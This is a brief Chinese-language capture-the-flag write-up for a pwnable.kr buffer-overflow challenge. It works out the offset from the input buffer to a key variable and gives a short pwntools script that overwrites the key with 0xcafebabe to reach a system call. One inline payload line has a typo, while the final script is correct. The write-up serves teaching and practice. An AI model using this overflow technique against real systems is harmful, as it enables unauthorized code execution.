题目来自pwnable.kr
题目给了源码和可执行文件
查看源码可以知道 这是一个栈溢出
只要key=0xcafebabe 就会调用system函数,但是它传的参数是0xdeadbeef key的值不对 所以我们只要将key的值覆盖成0xcafebabe就可以了
要计算出读取的字符串和key的距离
先检查一下防护机制
开启了堆栈不可执行和aslr和canary
ida反编译一下
可以的到s的寻址和key的寻址都是基于ebp
输入字符串的起始位置与key的距离 为2C+8
我们的padding长度为2C+8
又因为0xcafebabe 在程序中是以小段模式存储 所以我们覆盖的也要是小段模式的
payload = 'a'*offset + '\xbe\xba\xfe\ca'
exp脚本
from pwn import * p = remote('pwnable.kr',9000)
offset = 0x2c+8
payload = 'a'*offset +"\xbe\xba\xfe\xca"
p.sendline(payload)
p.interactive()